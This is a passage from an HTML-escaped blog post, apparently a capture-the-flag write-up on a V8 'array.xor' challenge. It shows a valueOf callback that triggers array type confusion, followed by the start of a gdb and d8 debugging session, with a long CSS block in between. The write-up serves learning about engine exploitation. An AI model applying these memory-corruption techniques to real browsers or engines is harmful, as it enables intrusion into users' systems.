r=&#34;6.5&#34;/&gt;&lt;polygon fill=&#34;#4E3534&#34; points=&#34;4.8,4.6 5.6,3.8 8,6.2 10.4,3.8 11.2,4.6 8.8,7 11.2,9.4 10.4,10.2 8,7.8 5.6,10.2 4.8,9.4 7.2,7&#34;/&gt;&lt;/svg&gt;TypeError: Cannot redefine property: length&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;length&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt; &lt;span class=&#34;jsConNull&#34;&gt;// uh oh, our array is now a HOLEY_DOUBLE_ELEMENTS&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;div class=&#34;jsConErr&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;circle fill=&#34;#E46962&#34; cx=&#34;8&#34; cy=&#34;7&#34; r=&#34;6.5&#34;/&gt;&lt;polygon fill=&#34;#4E3534&#34; points=&#34;4.8,4.6 5.6,3.8 8,6.2 10.4,3.8 11.2,4.6 8.8,7 11.2,9.4 10.4,10.2 8,7.8 5.6,10.2 4.8,9.4 7.2,7&#34;/&gt;&lt;/svg&gt;TypeError: Array.xor needs array of double numbers&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;And then it hit me - we&amp;rsquo;re only doing all those fancy checks on the array itself, but not the argument! We get the xor argument (&lt;code&gt;Object::ToNumber(isolate, args.at(1))&lt;/code&gt;) &lt;em&gt;after&lt;/em&gt; we&amp;rsquo;re already past all the previous array checks, so perhaps we could turn the xor argument evil and put an object in the double array once we&amp;rsquo;re already past the initial checks? Let&amp;rsquo;s give it a shot:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;3.3&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt; = {&lt;span style=&#34;white-space: pre-wrap&#34;&gt;&#xD;&#xA;     &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: () =&gt; {&#xD;&#xA;       &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = {};&#xD;&#xA;       &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt;;&#xD;&#xA;     }&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt;) &lt;span class=&#34;jsConNull&#34;&gt;// our array turns into PACKED_ELEMENTS here!&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(3) [&lt;span class=&#34;jsConValOut&#34;&gt;140508&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;2.2&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;140484&lt;/span&gt;]&lt;/i&gt; &lt;span class=&#34;jsConNull&#34;&gt;// waow!&lt;/span&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x000449b8&lt;/span&gt; (&lt;span class=&#34;jsConIdx&#34;&gt;SMI&lt;/span&gt;)&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00044cbd&lt;/span&gt; (&lt;span class=&#34;jsConIdx&#34;&gt;pointer to double&lt;/span&gt;)&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00044988&lt;/span&gt; (&lt;span class=&#34;jsConIdx&#34;&gt;SMI&lt;/span&gt;)&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;We&amp;rsquo;re cooking!&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-2-breaking-out-of-bounds&#34;&gt;Part 2: Breaking out of bounds&lt;/h2&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve found a way to put some objects in an array and mess with their pointer, we must figure out a way to turn them into primitives we can actually use. There are a few different ways to accomplish this from here. I&amp;rsquo;ll go with the path I took originally, but see if you can figure out any other ways to get there - I&amp;rsquo;ll share a couple (arguably better ones) at the end of the post.&lt;/p&gt;&#xA;&lt;p&gt;But first, we should look at how v8 stores stuff in the memory so that we can figure out what our memory corruption looks like and what we can do with it. How could we do that?&lt;/p&gt;&#xA;&lt;p&gt;With the &lt;strong&gt;d8 natives syntax&lt;/strong&gt; and a &lt;strong&gt;debugger&lt;/strong&gt;! If we launch d8 (the v8 shell) with the &lt;code&gt;--allow-natives-syntax&lt;/code&gt; flag, we can use various debug functions such as &lt;code&gt;%DebugPrint(obj)&lt;/code&gt; to examine what&amp;rsquo;s going on with objects, and if we combine that with a debugger (&lt;a href=&#34;https://gnu.org/software/gdb/&#34;&gt;gdb&lt;/a&gt; in this case) we can even check out the entire memory to understand it better. Let&amp;rsquo;s try it:&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;.termCodePp {&#xD;&#xA;&#x9;color: #444;&#xD;&#xA;}&#xD;&#xA;.termCodePr {&#xD;&#xA;&#x9;color: #8e1;&#xD;&#xA;}&#xD;&#xA;.termCodePw {&#xD;&#xA;&#x9;color: #EF0;&#xD;&#xA;}&#xD;&#xA;.termCodePx {&#xD;&#xA;&#x9;color: #FA0;&#xD;&#xA;}&#xD;&#xA;.termCodePrwx {&#xD;&#xA;&#x9;color: #F00;&#xD;&#xA;}&#xD;&#xA;.jsMem {&#xD;&#xA;&#x9;color: #DCDFE4;&#xD;&#xA;&#x9;background: #282C34;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;padding:8px;&#xD;&#xA;&#x9;cursor: default;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.coarseText {&#xD;&#xA;&#x9;display: none;&#xD;&#xA;}&#xD;&#xA;.fineText {&#xD;&#xA;&#x9;display: inline;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;/*&#xD;&#xA; *&#x9;Disable text selection on touchscreens because you can&#39;t&#xD;&#xA; *  hover over the interactive elements and tapping them will&#xD;&#xA; *  try to select the text if we don&#39;t disable selections.&#xD;&#xA; */&#xD;&#xA;@media (pointer: coarse) {&#xD;&#xA;&#x9;.jsMem {&#xD;&#xA;&#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.coarseText {&#xD;&#xA;&#x9;&#x9;display: inline;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.fineText {&#xD;&#xA;&#x9;&#x9;display: none;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.jsMemTitle {&#xD;&#xA;&#x9;pointer-events: none;&#xD;&#xA;&#x9;user-select: none;&#xD;&#xA;&#x9;color: var(--lyreGold);&#xD;&#xA;&#x9;font-family: Menlo, Consolas, &#34;Ubuntu Mono&#34;, monospace;&#xD;&#xA;&#x9;font-size: 14px;&#xD;&#xA;&#x9;display: flex;&#xD;&#xA;&#x9;margin: 4px 4px 4px;&#xD;&#xA;}&#xD;&#xA;.jsMemSep {&#xD;&#xA;&#x9;margin-left: 5px;&#xD;&#xA;&#x9;margin-top: 1px;&#xD;&#xA;&#x9;flex-grow: 1;&#xD;&#xA;&#x9;align-self: center;&#xD;&#xA;&#x9;display: inline-block;&#xD;&#xA;&#x9;height: 2px;&#xD;&#xA;&#x9;background: var(--lyreGold);&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.jsMem *::selection {&#xD;&#xA;&#x9;background: #00F;&#xD;&#xA;&#x9;color: #FFF;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.jsMemDbg, .jsMemHex {&#xD;&#xA;&#x9;font-size: 12px;&#xD;&#xA;&#x9;white-space: pre-wrap;&#xD;&#xA;&#x9;font-family: Menlo, Consolas, &#34;Ubuntu Mono&#34;, monospace;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;:root {&#xD;&#xA;&#x9;--lyreGold: #FAD542;&#xD;&#xA;&#x9;--jsMemVarB0:  #0000;&#xD;&#xA;&#x9;--jsMemVarB1:  #0000;&#xD;&#xA;&#x9;--jsMemVarB2:  #0000;&#xD;&#xA;&#x9;--jsMemVarB3:  #0000;&#xD;&#xA;&#x9;--jsMemVarB4:  #0000;&#xD;&#xA;&#x9;--jsMemVarB5:  #0000;&#xD;&#xA;&#x9;--jsMemVarB6:  #0000;&#xD;&#xA;&#x9;--jsMemVarB7:  #0000;&#xD;&#xA;&#x9;--jsMemVarB8:  #0000;&#xD;&#xA;&#x9;--jsMemVarB9:  #0000;&#xD;&#xA;&#x9;--jsMemVarB10:  #0000;&#xD;&#xA;&#x9;--jsMemVarB11:  #0000;&#xD;&#xA;&#x9;--jsMemVarB12:  #0000;&#xD;&#xA;&#x9;--jsMemVarB13:  #0000;&#xD;&#xA;&#x9;--jsMemVarB14:  #0000;&#xD;&#xA;&#x9;--jsMemVarB15:  #0000;&#xD;&#xA;&#x9;--jsMemVarB16:  #0000;&#xD;&#xA;&#x9;--jsMemVarB17:  #0000;&#xD;&#xA;&#x9;--jsMemVarB18:  #0000;&#xD;&#xA;&#x9;--jsMemVarB19:  #0000;&#xD;&#xA;&#x9;--jsMemVarB20:  #0000;&#xD;&#xA;&#x9;--jsMemVarF0:  #ff9999;&#xD;&#xA;&#x9;--jsMemVarF1:  #ffc199;&#xD;&#xA;&#x9;--jsMemVarF2:  #ffea99;&#xD;&#xA;&#x9;--jsMemVarF3:  #eaff99;&#xD;&#xA;&#x9;--jsMemVarF4:  #c1ff99;&#xD;&#xA;&#x9;--jsMemVarF5:  #99ff99;&#xD;&#xA;&#x9;--jsMemVarF6:  #99ffc1;&#xD;&#xA;&#x9;--jsMemVarF7:  #99ffea;&#xD;&#xA;&#x9;--jsMemVarF8:  #99eaff;&#xD;&#xA;&#x9;--jsMemVarF9:  #99c1ff;&#xD;&#xA;&#x9;--jsMemVarF10:  #9999ff;&#xD;&#xA;&#x9;--jsMemVarF11:  #c199ff;&#xD;&#xA;&#x9;--jsMemVarF12:  #ea99ff;&#xD;&#xA;&#x9;--jsMemVarF13:  #ff99ea;&#xD;&#xA;&#x9;--jsMemVarF14:  #ff99c1;&#xD;&#xA;&#x9;--jsMemVarF15:  #ff9999;&#xD;&#xA;&#x9;--jsMemVarF16:  #ffc199;&#xD;&#xA;&#x9;--jsMemVarF17:  #ffea99;&#xD;&#xA;&#x9;--jsMemVarF18:  #eaff99;&#xD;&#xA;&#x9;--jsMemVarF19:  #c1ff99;&#xD;&#xA;&#x9;--jsMemVarF20:  #99ff99;&#xD;&#xA;&#x9;--jsMemVarB: var(--lyreGold);&#xD;&#xA;&#x9;--jsMemVarF: #000;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.jsMemVar0 { color: var(--jsMemVarF0); background: var(--jsMemVarB0) }&#xD;&#xA;.jsMemVar1 { color: var(--jsMemVarF1); background: var(--jsMemVarB1) }&#xD;&#xA;.jsMemVar2 { color: var(--jsMemVarF2); background: var(--jsMemVarB2) }&#xD;&#xA;.jsMemVar3 { color: var(--jsMemVarF3); background: var(--jsMemVarB3) }&#xD;&#xA;.jsMemVar4 { color: var(--jsMemVarF4); background: var(--jsMemVarB4) }&#xD;&#xA;.jsMemVar5 { color: var(--jsMemVarF5); background: var(--jsMemVarB5) }&#xD;&#xA;.jsMemVar6 { color: var(--jsMemVarF6); background: var(--jsMemVarB6) }&#xD;&#xA;.jsMemVar7 { color: var(--jsMemVarF7); background: var(--jsMemVarB7) }&#xD;&#xA;.jsMemVar8 { color: var(--jsMemVarF8); background: var(--jsMemVarB8) }&#xD;&#xA;.jsMemVar9 { color: var(--jsMemVarF9); background: var(--jsMemVarB9) }&#xD;&#xA;.jsMemVar10 { color: var(--jsMemVarF10); background: var(--jsMemVarB10) }&#xD;&#xA;.jsMemVar11 { color: var(--jsMemVarF11); background: var(--jsMemVarB11) }&#xD;&#xA;.jsMemVar12 { color: var(--jsMemVarF12); background: var(--jsMemVarB12) }&#xD;&#xA;.jsMemVar13 { color: var(--jsMemVarF13); background: var(--jsMemVarB13) }&#xD;&#xA;.jsMemVar14 { color: var(--jsMemVarF14); background: var(--jsMemVarB14) }&#xD;&#xA;.jsMemVar15 { color: var(--jsMemVarF15); background: var(--jsMemVarB15) }&#xD;&#xA;.jsMemVar16 { color: var(--jsMemVarF16); background: var(--jsMemVarB16) }&#xD;&#xA;.jsMemVar17 { color: var(--jsMemVarF17); background: var(--jsMemVarB17) }&#xD;&#xA;.jsMemVar18 { color: var(--jsMemVarF18); background: var(--jsMemVarB18) }&#xD;&#xA;.jsMemVar19 { color: var(--jsMemVarF19); background: var(--jsMemVarB19) }&#xD;&#xA;.jsMemVar20 { color: var(--jsMemVarF20); background: var(--jsMemVarB20) }&#xD;&#xA;.jsMem:has(.jsMemVar0:hover) { --jsMemVarB0: var(--jsMemVarB); --jsMemVarF0: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar1:hover) { --jsMemVarB1: var(--jsMemVarB); --jsMemVarF1: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar2:hover) { --jsMemVarB2: var(--jsMemVarB); --jsMemVarF2: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar3:hover) { --jsMemVarB3: var(--jsMemVarB); --jsMemVarF3: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar4:hover) { --jsMemVarB4: var(--jsMemVarB); --jsMemVarF4: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar5:hover) { --jsMemVarB5: var(--jsMemVarB); --jsMemVarF5: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar6:hover) { --jsMemVarB6: var(--jsMemVarB); --jsMemVarF6: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar7:hover) { --jsMemVarB7: var(--jsMemVarB); --jsMemVarF7: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar8:hover) { --jsMemVarB8: var(--jsMemVarB); --jsMemVarF8: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar9:hover) { --jsMemVarB9: var(--jsMemVarB); --jsMemVarF9: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar10:hover) { --jsMemVarB10: var(--jsMemVarB); --jsMemVarF10: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar11:hover) { --jsMemVarB11: var(--jsMemVarB); --jsMemVarF11: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar12:hover) { --jsMemVarB12: var(--jsMemVarB); --jsMemVarF12: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar13:hover) { --jsMemVarB13: var(--jsMemVarB); --jsMemVarF13: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar14:hover) { --jsMemVarB14: var(--jsMemVarB); --jsMemVarF14: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar15:hover) { --jsMemVarB15: var(--jsMemVarB); --jsMemVarF15: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar16:hover) { --jsMemVarB16: var(--jsMemVarB); --jsMemVarF16: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar17:hover) { --jsMemVarB17: var(--jsMemVarB); --jsMemVarF17: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar18:hover) { --jsMemVarB18: var(--jsMemVarB); --jsMemVarF18: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar19:hover) { --jsMemVarB19: var(--jsMemVarB); --jsMemVarF19: var(--jsMemVarF) }&#xD;&#xA;.jsMem:has(.jsMemVar20:hover) { --jsMemVarB20: var(--jsMemVarB); --jsMemVarF20: var(--jsMemVarF) }&#xD;&#xA;&#xD;&#xA;.jsMemVarExt6 { text-decoration: #0a8 underline; text-decoration-skip-ink: none; }&#xD;&#xA;.jsMemVarExt7 { text-decoration: #0a8 underline; text-decoration-skip-ink: none; }&#xD;&#xA;.jsMemVarExt8 { text-decoration: #09b underline; text-decoration-skip-ink: none; }&#xD;&#xA;.jsMemVarExt11 { text-decoration: var(--jsMemVarF11) underline; }&#xD;&#xA;.jsMemVarExt19 { text-decoration: var(--jsMemVarF19) underline; }&#xD;&#xA;.jsMemVarExt6:hover { background: var(--jsMemVarB6); color: var(--jsMemVarF6);&#x9;border-radius: 1px; }&#xD;&#xA;.jsMemVarExt7:hover { background: var(--jsMemVarB7); color: var(--jsMemVarF7);&#x9;border-radius: 1px; }&#xD;&#xA;.jsMemVarExt8:hover { background: var(--jsMemVarB8); color: var(--jsMemVarF8);&#x9;border-radius: 1px; }&#xD;&#xA;.jsMemVarExt11:hover { background: var(--jsMemVarB11); color: var(--jsMemVarF11);&#x9;border-radius: 1px; }&#xD;&#xA;.jsMemVarExt19:hover { background: var(--jsMemVarB19); color: var(--jsMemVarF19);&#x9;border-radius: 1px; }&#xD;&#xA;body:has(.jsMemVarExt6:hover) { --jsMemVarB6: var(--jsMemVarB); --jsMemVarF6: var(--jsMemVarF) }&#xD;&#xA;body:has(.jsMemVarExt7:hover) { --jsMemVarB7: var(--jsMemVarB); --jsMemVarF7: var(--jsMemVarF) }&#xD;&#xA;body:has(.jsMemVarExt8:hover) { --jsMemVarB8: var(--jsMemVarB); --jsMemVarF8: var(--jsMemVarF) }&#xD;&#xA;body:has(.jsMemVarExt11:hover) { --jsMemVarB11: var(--jsMemVarB); --jsMemVarF11: var(--jsMemVarF) }&#xD;&#xA;body:has(.jsMemVarExt19:hover) { --jsMemVarB19: var(--jsMemVarB); --jsMemVarF19: var(--jsMemVarF) }&#xD;&#xA;&#xD;&#xA;.termCode {&#xD;&#xA;&#x9;white-space: pre-wrap;&#xD;&#xA;&#x9;background: #000;&#xD;&#xA;&#x9;color: #BBB;&#xD;&#xA;&#x9;font-family: Menlo, Consolas, &#34;Ubuntu Mono&#34;, monospace;&#xD;&#xA;&#x9;font-size: 12px;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;width: calc(100% - 2px - 16px);&#xD;&#xA;&#x9;border: 1px solid var(--lyreGold);&#xD;&#xA;&#x9;padding: 8px;&#xD;&#xA;&#x9;cursor: default;&#xD;&#xA;}&#xD;&#xA;.termCode::selection, .termCode *::selection {&#xD;&#xA;&#x9;color: #000;&#xD;&#xA;&#x9;background: var(--lyreGold);&#xD;&#xA;}&#xD;&#xA;.termCodeW {&#xD;&#xA;&#x9;color: #FFF;&#xD;&#xA;}&#xD;&#xA;.termCodeComm {&#xD;&#xA;&#x9;color: var(--lyreGold);&#xD;&#xA;}&#xD;&#xA;.termCodeFlag {&#xD;&#xA;&#x9;display: inline-block;&#xD;&#xA;&#x9;color: #FFF;&#xD;&#xA;&#x9;transform: scale(1);&#xD;&#xA;&#x9;text-shadow: 0 0 8px #f440;&#xD;&#xA;&#x9;transition: transform 0.6s, text-shadow 0.5s, background 0.5s;&#xD;&#xA;&#x9;background: linear-gradient(90deg, #fa0 0%, #f0d 50%, #80f 100%);&#xD;&#xA;&#x9;font-weight: bold;&#xD;&#xA;  -webkit-background-clip: text;&#xD;&#xA;  -webkit-text-fill-color: transparent; &#xD;&#xA;  -moz-background-clip: text;&#xD;&#xA;  -moz-text-fill-color: transparent;&#xD;&#xA;  background-size: 200%;&#xD;&#xA;  background-position: 100%;&#xD;&#xA;  cursor: grabbing;&#xD;&#xA;}&#xD;&#xA;.termCodeFlag:hover {&#xD;&#xA;&#x9;transform: scale(1.2);&#xD;&#xA;&#x9;text-shadow: 0 0 8px #f44f;&#xD;&#xA;&#x9;background-position: 0%;&#xD;&#xA;}&#xD;&#xA;.offsetDemo {&#xD;&#xA;&#x9;font-size: 16px;&#xD;&#xA;&#x9;cursor: default;&#xD;&#xA;&#x9;user-select: none;&#xD;&#xA;&#x9;font-family: Menlo, Consolas, &#34;Ubuntu Mono&#34;, monospace;&#xD;&#xA;&#x9;line-height: 1em;&#xD;&#xA;&#x9;width: 64ch;&#xD;&#xA;&#x9;margin: 0 auto;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;border: 1px solid black;&#xD;&#xA;&#x9;overflow: hidden;&#xD;&#xA;&#x9;position: relative;&#xD;&#xA;&#x9;background: #282C34;&#xD;&#xA;&#x9;color: #FFF;&#xD;&#xA;}&#xD;&#xA;.offsetDemoLegend {&#xD;&#xA;&#x9;white-space: pre;&#xD;&#xA;&#x9;color: var(--lyreGold);&#xD;&#xA;&#x9;position: absolute;&#xD;&#xA;&#x9;pointer-events: none;&#xD;&#xA;}&#xD;&#xA;.offsetDemoOverlay {&#xD;&#xA;&#x9;color: #0000;&#xD;&#xA;&#x9;position: absolute;&#xD;&#xA;&#x9;height: 1em;&#xD;&#xA;&#x9;pointer-events: none;&#xD;&#xA;}&#xD;&#xA;.offsetDemoOverlay &gt; span {&#xD;&#xA;&#x9;background: #282C34;&#xD;&#xA;}&#xD;&#xA;.offsetDemoHandle {&#xD;&#xA;&#x9;background: var(--lyreGold);&#xD;&#xA;&#x9;width: 1.5ch;&#xD;&#xA;&#x9;height: 12px;&#xD;&#xA;&#x9;margin: 2px 0.25ch;&#xD;&#xA;&#x9;display: inline-block;&#xD;&#xA;&#x9;vertical-align: middle;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;}&#xD;&#xA;.offsetDemoNumbers {&#xD;&#xA;&#x9;white-space: pre;&#xD;&#xA;  overflow: hidden;&#xD;&#xA;  resize: horizontal;&#xD;&#xA;  height: 2.1em;&#xD;&#xA;  width: 64ch;&#xD;&#xA;  min-width: 48ch;&#xD;&#xA;  max-width: 64ch;&#xD;&#xA;  text-wrap: nowrap;&#xD;&#xA;  text-align: right;&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;termCode&#34;&gt;&lt;span class=&#34;termCodeW&#34;&gt;$ gdb --args ./d8 --allow-natives-syntax&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- use d8 with the natives syntax in gdb&lt;/span&gt;&#xD;&#xA;GNU gdb (GDB) 14.2&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb) run&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- start d8&lt;/span&gt;&#xD;&#xA;Starting program: /home/lyra/Desktop/array.xor/dist/d8 --allow-natives-syntax&#xD;&#xA;V8 version 12.7.0 (candidate)&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;d8&amp;gt; arr = [1.1, 2.2, 3.3]&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- create an array&lt;/span&gt;&#xD;&#xA;[1.1, 2.2, 3.3]&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;d8&amp;gt; %DebugPrint(arr)&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- debugprint the array&lt;/span&gt;&#xD;&#xA;DebugPrint: &lt;span class=&#34;termCodeW&#34;&gt;0xa3800042be9&lt;/span&gt;: [JSArray] &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- we get the address here&lt;/span&gt;&#xD;&#xA; - map: 0x0a38001cb7c5 &amp;lt;Map[16](PACKED_DOUBLE_ELEMENTS)&amp;gt; [FastProperties]&#xD;&#xA; - prototype: 0x0a38001cb11d &amp;lt;JSArray[0]&amp;gt;&#xD;&#xA; - elements: 0x0a3800042bc9 &amp;lt;FixedDoubleArray[3]&amp;gt; [PACKED_DOUBLE_ELEMENTS]&#xD;&#xA; - length: 3&#xD;&#xA; - properties: 0x0a3800000725 &amp;lt;FixedArray[0]&amp;gt;&#xD;&#xA; - All own properties (excluding elements): {&#xD;&#xA;    0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 &amp;lt;AccessorInfo name= 0x0a3800000d99 &amp;lt;String[6]: #length&amp;gt;, data= 0x0a3800000069 &amp;lt;undefined&amp;gt;&amp;gt; (const accessor descriptor, attrs: [W__]), location: descriptor&#xD;&#xA; }&#xD;&#xA; - elements: 0x0a3800042bc9 &amp;lt;FixedDoubleArray[3]&amp;gt; {&#xD;&#xA;           0: 1.1&#xD;&#xA;           1: 2.2&#xD;&#xA;           2: 3.3&#xD;&#xA; }&#xD;&#xA;0xa38001cb7c5: [Map] in OldSpace&#xD;&#xA; - map: 0x0a38001c01b5 &amp;lt;MetaMap (0x0a38001c0205 &amp;lt;NativeContext[295]&amp;gt;)&amp;gt;&#xD;&#xA; - type: JS_ARRAY_TYPE&#xD;&#xA; - instance size: 16&#xD;&#xA; - inobject properties: 0&#xD;&#xA; - unused property fields: 0&#xD;&#xA; - elements kind: PACKED_DOUBLE_ELEMENTS&#xD;&#xA; - enum length: invalid&#xD;&#xA; - back pointer: 0x0a38001cb785 &amp;lt;Map[16](HOLEY_SMI_ELEMENTS)&amp;gt;&#xD;&#xA; - prototype_validity cell: 0x0a3800000a89 &amp;lt;Cell value= 